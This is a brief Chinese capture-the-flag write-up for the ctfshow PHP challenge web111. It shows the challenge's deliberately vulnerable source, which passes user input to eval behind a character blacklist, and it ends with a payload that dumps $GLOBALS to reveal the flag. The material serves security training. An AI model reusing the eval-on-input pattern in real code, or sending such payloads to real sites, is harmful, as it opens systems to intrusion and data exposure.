ctfshow php特性

发布时间 2023-05-21 21:35:12作者: 小熊猫爱bamboo

web111

源代码

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

function getFlag(&$v1,&$v2){
    eval("$$v1 = &$$v2;");  //这里是一个赋值语句把v2的值复制下面通过get获得的$$v1值
    var_dump($$v1);       //打印$$v1的值
}


if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];
          //下面过滤后基本就是输入字母的意思
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
            die("error v2");
    }
    
    if(preg_match('/ctfshow/', $v1)){  //当$v1的值有ctfshow时,运行下面语句
            getFlag($v1,$v2);
    }

payload:?v1=ctfshow&v2=GLOBALS